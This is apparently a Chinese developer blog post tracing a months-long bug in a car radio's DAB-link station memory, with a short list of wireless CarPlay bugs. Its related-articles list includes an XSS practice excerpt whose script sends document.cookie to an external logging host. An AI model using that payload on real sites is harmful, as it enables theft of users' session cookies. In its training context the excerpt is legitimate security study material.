4778:我的BUG噩梦

问题描述:

DAB播放中关ACC掉电后开ACC,手动切到FM/AM(有时第一次切换出现问题/有时第二次切换出现问题),FM/AM不记忆关ACC前电台或者FM/AM关ACC掉电后开ACC,手动切到DAB再回到FM/AM,FM/AM不记忆切换前的电台

前提纪要:

1、车载系统上,有一个功能叫做DAB link功能,DAB link的功能是在DAB播放时,会提前让FM后台进行搜台当前DAB电台相关的FM电台(在DAB link中,如果搜到MCU上报的电台状态,我们不去处理原来的FM列表),目的是为了让当前DAB电台在信号不好时,可以去切到FM按照要求搜索到的电台;

2、收到MCU上报的电台搜索状态之后,我们会把FM的旧列表清除等待上报新的电台;

3、用户手动切到FM的时候,需要恢复FM最后播放的电台(而不是后台link搜索到的电台)

4、此功能只针对FM,不针对AM,当从AM切到DAB时,他是不需要进行link的;

问题详细过程:

1、从2024.1.17 被客户发现,提出问题;

2、2024.1.20,被我的同事认为该BUG是设计如此,因为DAB link了,后台进行搜台,切换到FM时,SOC会下发stop,导致MCU停止搜台,MCU停止搜台了以后,就是会出现不记忆以前的电台的情况;

3、2024.2.26,被客户指派回,客户回复,其他项目无此问题;

4、2024.3.8,同事处理,已解决; 于2024.3.15被客户激活,验证NG; 随后此问题一直留存,没有解决,客户也没有出货了;

5、2025.2.25,由我解决,我和同事沟通,同事说已经处理过了,可以给客户验证一下; 于2025.3.10被客户激活,验证NG;

6、2025.3.20,由我主管进行处理,我主管说已经整合了这个修改,让客户验证; 于2025.3.20被客户激活,验证NG;

7、2025.4.15 由我仔细分析,我回复给客户,我们认为不是问题,回复了详细描述

image-20250719172949761

8、2025.4.18,客户不接受,和我们公司的另一位MCU主管沟通,认为是一个BUG;

9、2025.4.19 由我进行解决,我参考了其他项目组的做法,增加了一个dab sourcestop ,增加记忆标志位; 于2025.5.6被客户激活,验证NG;

10、2025.5.20,由我再次进行解决,我仔细分析log,发现在我们切去FM时,我们发送了记忆的电台值,但MCU停止了,我增加了一个补发记忆值; 于2025.6.5被客户激活,验证NG;

image-20250719173243129

11、2025.6.16,由我再次进行解决,我仔细分析log,客户NG的原因是FM->DAB->AM->DAB->FM,导致FM记忆的台再进入DAB时会被清除,导致出现问题,增加了一个区分FM、AM的不同存台(实际这一步已经多余,因为AM 不需要link,没必要存台) 于2025.6.27被客户激活,验证NG;

image-20250719173514680

12、2025.7.3,由我再次进行解决,我仔细分析log,发现客户又找到了新手法,ACC掉电后,会把我们这个临时变量的值进行清除,我需要把电台值放在flash进行保存 于2025.7.10被客户激活,验证NG;

image-20250719173640600

file-read-116747

13、2025.7.18,再次分析log,发现DAB切到FM的时候,触发了AM Link 导致出现了问题;即我之前提到的,AM根本不需要link;

image-20250719173815143

未完待续,持续更新....

CarPlay相关BUG

1.无线CarPlay连接,手机拿远,wifi远距离断开,回到车机附近后,需要进行回连;

2.无线CarPlay连接上后,概率出现无ID3信息问题,无专辑图片问题;

3.无线CarPlay连接,概率出现虚连,AP层只收到了attached的事件,但是没有收到CarPlay Session建立成功;导致现象是CarPlay图标高亮了,但一直点击不进去CP画面,过30秒左右之后才会收到Detached事件;

4.CarPlay Facets问题:在收音页面播放收音,手机无线CarPlay连接,手机打开CarPlay Test APP,反复播放(Audio/Clicks)声音,出现重启问题;

凌阳处理,问题原因:在record流程控制逻辑有死锁问题,如最后debug中看到卡住在writeDone的mutex,修改死锁问题;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/90182.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/90182.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/90182.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kubernetes集群中Istio mTLS握手失败问题排查与解决方案

Kubernetes集群中Istio mTLS握手失败问题排查与解决方案 在微服务架构中,Istio 提供了基于 Envoy 的服务网格能力,其中 mTLS(双向 TLS)是确保服务间通信安全的重要机制。但在生产环境中,开发者常常会遇到 mTLS 握手失败…

antd+react+可输入的下拉选择组件

该组件是一个可输入的下拉选择组件,支持从预设选项中选择或手动输入自定义值。组件基于 React 和 Ant Design 实现,具有良好的交互体验和灵活的配置选项。 🧠 核心逻辑分析 1. 状态管理 const [isInput, setIsInput] useState(false); con…

React 面试题库

openAI React 面试题库 以下题库按模块分类(React 架构与运行机制、核心 API、Diff 算法与事件机制、Fiber 架构与调度、并发模式与过渡、生命周期及新版生命周期对照、综合源码题、扩展专题、React 与 Vue 对比),并按难度(初级…

查看两个tv and 手机模拟器的ip

要查看 Android 模拟器 的 IP 地址,你可以使用 ADB shell 命令来获取。下面是详细步骤:步骤 1:查看已连接的模拟器首先,确保你连接的模拟器已经启动并且连接到 ADB。你可以运行以下命令来查看已连接的设备:adb devices…

从零到一:用C语言构建贪吃蛇(一)- 基础框架与数据结构

资料合集下载链接: ​​https://pan.quark.cn/s/472bbdfcd014​ 第一步:绘制游戏世界 - 定义地图边界 任何游戏都需要一个舞台。在贪吃蛇中,这个舞台就是一个有明确边界的矩形地图。 1. 确定尺寸 根据笔记,我们首先要确定地图的尺寸。使用宏定义(​​#define​​)是…

AWS RDS 排查性能问题

AWS RDS 排查数据库问题 1.查看当前横在执行的SQL select id,user,time,left(info,100) from information_schema.processlist where time>0 and info is not null order by time desc ;2.AWS RDS 查看性能详情查看 Top SQL,AAS最高的几个sql,然后看这…

Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现持械检测(C#代码,UI界面版)

Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现持械检测(C#代码,UI界面版)工业相机使用YoloV8模型实现持械检测工业相机通过YoloV8模型实现持械检测的技术背景在相机SDK中获取图像转换图像的代码分析工业相机图像转换Bitmap图像格…

在 WPF 启动界面中心加载 GIF 动图

在 WPF 启动界面中心加载 GIF 动图 在 WPF 启动界面中心加载 GIF 动图可以通过多种方式实现。下面我将提供一个完整的解决方案,包括使用第三方库和纯 WPF 实现两种方法。 方法一:使用 WpfAnimatedGif 库(推荐) 这是最简单可靠的方…

Vue前端路由从入门到精通

目录 第1章:路由的本质与Vue Router的魅力 1.1 什么是前端路由? 1.2 为什么选择Vue Router? 1.3 快速上手:安装与基本配置 1.4 一个小实践:动态欢迎页 第2章:路由配置的进阶玩法 2.1 命名路由:给路由取个名字 2.2 动态路由的深度挖掘 2.3 嵌套路由:页面中的页面…

【Python】SQLAlchemy实现upsert

文章目录✅ 通用思路1. 使用 merge() 方法(适用于简单场景)2. 使用数据库特定的 UPSERT 功能(推荐用于性能和并发安全)🟢 PostgreSQL: 使用 on_conflict_do_update🟡 MySQL: 使用 ON DUPLICATE KEY UPDATE&…

快速入门SwiftUI

SwiftUI的入门难度稍微有点高,但对于比较熟悉Swift的UIKit老手来说阵痛期大概1周以内,两周内能达到UIkit的开发效率,个人总结快速入门路径如下: 第一步 周期:1天 操作:阅读苹果官方demo 目的:…

【n8n教程笔记——工作流Workflow】文本课程(第一阶段)——1、导航编辑器界面(Navigating the editor UI)介绍

https://docs.n8n.io/courses/ 文章目录Navigating the Editor UIGetting startedEditor UI settingsLeft-side panelTop barCanvasNodesFinding nodesAdding nodesNode buttonsSummaryNavigating the Editor UI In this lesson you will learn how to navigate the Editor UI…

【Altium Designer2025】电子设计自动化(EDA)软件——Altium Designer25版保姆级下载安装详细图文教程(附安装包)

今天给大家带来精心编写的Altium Designer2025版下载安装全流程图文指南,涵盖从系统准备到安装使用的完整过程。 教程严格遵循零广告、纯工具向原则,手把手教你如何正确安装并配置好这款强大的软件,让你快速进入电路设计的世界! …

智象科技赋能金融、证券行业 IT 运维

一、金融、证券行业 IT 运维现状剖析 金融、证券行业 IT 系统架构极其复杂,业务对时效性和连续性的要求近乎苛刻,同时安全监管严格,这些特点共同催生了诸多运维痛点。 系统架构复杂 :IT 系统包含多个业务系统、数据平台和网络架构…

微信小程序服务端快速对接指南(java版)

背景说明 本文档旨在描述服务端在开发微信小程序时需要对接的小程序接口,以简要的方式描述对接流程、接口文档、使用场景。有些接口需要前后端配合,本文主要描述后端接口,对于前端仅轻轻点过。开发语言为Java,但是对接的思路跟语言没有关系,应该不尽相同; 小程序上手路线…

微信小程序入门实例_____从零开始 开发一个“旅行清单 ”微信小程序

前面的博文中。我们陆续学习与开发了记账等一些实用实用小程序的开发过程,今天来打造一个适合出行场景的工具 ——“旅行清单小程序”。无论是短途游玩还是长途旅行,它都能帮你梳理需要携带的物品,避免遗漏。下面就跟着步骤,一步步…

MySQL主从同步集群(Docker搭建)

以下笔记都是基于黑马程序员的面试题写的: Mysql定位慢查询-CSDN博客 Mysql索引-CSDN博客 MySQL事物相关-CSDN博客 MySQL主从同步集群(Docker搭建)-CSDN博客 MySQL相关面试问题总结-CSDN博客 主从同步(Master-Slave Replicat…

NISP-PTE基础实操——XSS

pteXSS模拟1 <script> var img document.createElement("img");img.src"http://xxxxx.ceye.io/log?"escape(document.coo kie);document.body.appendChild(img); </script> 重放加Cookie头 pteXSS模拟2 <script type"text/javasc…

基于网络爬虫的在线医疗咨询数据爬取与医疗服务分析系统,技术采用django+朴素贝叶斯算法+boostrap+echart可视化

摘要 为了发挥互联网医疗问询服务平台在客观衡量医疗服务质量、进一步分析和挖掘网民评论数据方面的作用&#xff0c;本文完成了互联网医疗问询数据抓取与医疗服务质量服务分析平台的主要模块应用&#xff0c;如用户登录注册、医疗服务质量数据分析与信息可视化以及用户情绪识别…

【备忘录】Ubuntu 配置 NFS

安装 NFSsudo apt-get install nfs-kernel-server rpcbind启动 NFSsudo systemctl start nfs-server查看 NFSsudo service nfs-server status